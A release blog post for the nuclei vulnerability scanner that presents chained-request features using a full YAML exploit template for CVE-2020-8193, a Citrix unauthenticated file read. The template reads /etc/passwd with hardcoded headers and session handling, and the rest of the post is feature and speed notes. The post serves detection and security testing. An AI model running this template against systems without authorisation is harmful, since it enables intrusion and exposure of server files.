-

5 min read

Nuclei Unleashed - Quickly write complex exploits

Nuclei Unleashed - Quickly write complex exploits

If you’re reading about nuclei for the first time, we suggest you start here at this blog post which introduces the basic idea behind nuclei.

Stateful Dynamic requests

One of the major limitation with previous versions of nuclei was the inability to perform multi-step or chained requests making it impossible to use it in a process where some dynamic state needed to be maintained or session needed to be created.

With the latest release, you can very easily create such complex workflows without the requirement of programming knowledge. Simple YAML steps can be used to define the flow and conditions of the requests.

A very good example to showcase such complex flow is the recently released CVE-2020-8193 for Citrix Servers. The exploit requires multiple requests, where a cookie is required to be sent with all the requests which is retrieved from the first request, as well as some dynamic variables from responses also need to be sent with each request.

Step by step breakdown of CVE-2020-8193 Nuclei Template

First requirement for a successful exploit is to obtain SESSID cookies from 1st request and reuse them for all further operations. For this, cookie-reuse: true flag can be used within a request which will maintain a session across all defined requests.

yaml

1
requests:
2
cookie-reuse: true
3
- raw:
4
- |
5
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
6
Host: {{Hostname}}
7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
8
Content-Type: application/xml
9
X-NITRO-USER: xpyZxwy6
10
X-NITRO-PASS: xWXHUJ56
11
12
<appfwprofile><login></login></appfwprofile>

Another requirement for the exploit was the extraction of a dynamic variable from the response body call rand_key which was sent in the 4th request. All the later requests needed that value otherwise they would fail. We approached this by adding an optional field to extractors called internal which marks the extractor results for internal use only in templating. All the occurrences of the extractor name which in this case is randkey will be replaced in the requests with values retrieved from the response.

yaml

1
# Previous requests get the randkey using
2
# extractors. We simply pass it as header.
3
- |
4
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
5
Host: {{Hostname}}
6
User-Agent: python-requests/2.24.0
7
Accept: */*
8
Connection: close
9
Content-Type: application/xml
10
X-NITRO-USER: oY39DXzQ
11
X-NITRO-PASS: ZuU9Y9c1
12
rand_key: randkey
13
14
<appfwprofile><login></login></appfwprofile>
15
16
...
17
18
# Create an extractor for randkey retrieval on runtime.
19
extractors:
20
- type: regex
21
name: randkey
22
part: body
23
internal: true
24
regex:
25
- "(?m)[0-9]{3,10}\\.[0-9]+"

The final result for detection as well as exploitation templates is given below which reads the /etc/passwd file by exploiting the CVE.

yaml

1
id: CVE-2020-8193
2
3
info:
4
name: Citrix unauthenticated LFI
5
author: pdteam
6
severity: high
7
8
# Source:- https://github.com/jas502n/CVE-2020-8193
9
# This template covers only the detection part, use the above exploit for the exploit confirmation.
10
11
requests:
12
- raw:
13
- |
14
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
15
Host: {{Hostname}}
16
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
17
Content-Type: application/xml
18
X-NITRO-USER: xpyZxwy6
19
X-NITRO-PASS: xWXHUJ56
20
21
<appfwprofile><login></login></appfwprofile>
22
23
- |
24
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
25
Host: {{Hostname}}
26
User-Agent: python-requests/2.24.0
27
Accept: */*
28
Connection: close
29
30
- |
31
GET /menu/neo HTTP/1.1
32
Host: {{Hostname}}
33
User-Agent: python-requests/2.24.0
34
Accept: */*
35
Connection: close
36
37
- |
38
GET /menu/stc HTTP/1.1
39
Host: {{Hostname}}
40
User-Agent: python-requests/2.24.0
41
Accept: */*
42
Connection: close
43
44
- |
45
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
46
Host: {{Hostname}}
47
User-Agent: python-requests/2.24.0
48
Accept: */*
49
Connection: close
50
Content-Type: application/xml
51
X-NITRO-USER: oY39DXzQ
52
X-NITRO-PASS: ZuU9Y9c1
53
rand_key: randkey
54
55
<appfwprofile><login></login></appfwprofile>
56
57
- |
58
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
59
Host: {{Hostname}}
60
User-Agent: python-requests/2.24.0
61
Accept: */*
62
Connection: close
63
Content-Type: application/xml
64
X-NITRO-USER: oY39DXzQ
65
X-NITRO-PASS: ZuU9Y9c1
66
rand_key: randkey
67
68
<clipermission></clipermission>
69
70
cookie-reuse: true
71
72
# Using cookie-reuse to maintain session between each request, same as browser.
73
74
extractors:
75
- type: regex
76
name: randkey
77
part: body
78
internal: true
79
regex:
80
- "(?m)[0-9]{3,10}\\.[0-9]+"
81
82
# Using rand_key as dynamic variable to make use of extractors at run time.
83
84
85
matchers:
86
- type: regex
87
regex:
88
- "root:[x*]:0:0:"
89
part: body

Speed Improvements

Another thing that we got feedbacks about was the speed of the scans performed by nuclei. We reworked the engine of nuclei, specifically the way templates are executed adding parallelism which increased the speed of scans by magnitudes.

Given below are some comparisons with the previous and new versions of nuclei on 1000 URLs with 60 templates. You can compare them yourself by downloading the latest release and giving it a go.

Type Old New
Single URL Multiple Templates 1m20.635s 0m12.169s
Single Template Multiple URLs 3m4.362s 0m0.687s

Other key improvements

  • Progress Bar - A new progress bar feature was added to allow viewing statistics of requests sent, etc in a very pretty format. All thanks to @therealdudez for his contributions and work on the feature.
  • Helper functions - It is now possible to use Helper function anywhere in the RAW requests, which was earlier limited to only when using payloads (fuzzing).
  • Muti template/directory input support - Again thanks to @therealdudez, it’s now possible to feed multiple templates as input. For example, nuclei -t tokens -t cves -t files/git-config.yaml.
  • Template blobbing - Now it’s possible to use glob patterns in template input. For example, nuclei -t 'cves/CVE-2020*' all thanks to @wDahlenb

We also reworked the guide document as it’s one of the most important resources to create your own templates, adding information about newly added changes to nuclei and also lots of examples for various use cases. Checkout the new guide website at https://nuclei.projectdiscovery.io.

We appreciate it if you can contribute to project by adding new templates / features, as community support is what drive us to keep working on this project and help others to find more valid security issues which improves the infosec industry overall.

Future of the project

In future, we’ll be adding the following new features to the project. Follow us to keep in touch with the progress.

  • A new documentation site for easy access to templating guide and docs.
  • UI / Web Form to create a template with just a few clicks.
  • Test Server to validate nuclei templates at runtime.
  • Notification module to send alerts on identified bugs.

Questions / Feedback

If you’re already a user of nuclei and would like to suggest some feature or share some ideas, feel free to reach out. You can contact/tweet us on twitter @pdnuclei or @pdiscoveryio. You can also email us at contact@projectdiscovery.io. We’d love to hear from you.

You can follow the project on github https://github.com/projectdiscovery/nuclei as well as the related templates repository at https://github.com/projectdiscovery/nuclei-templates. Contributions of new templates as well as ideas are very welcome!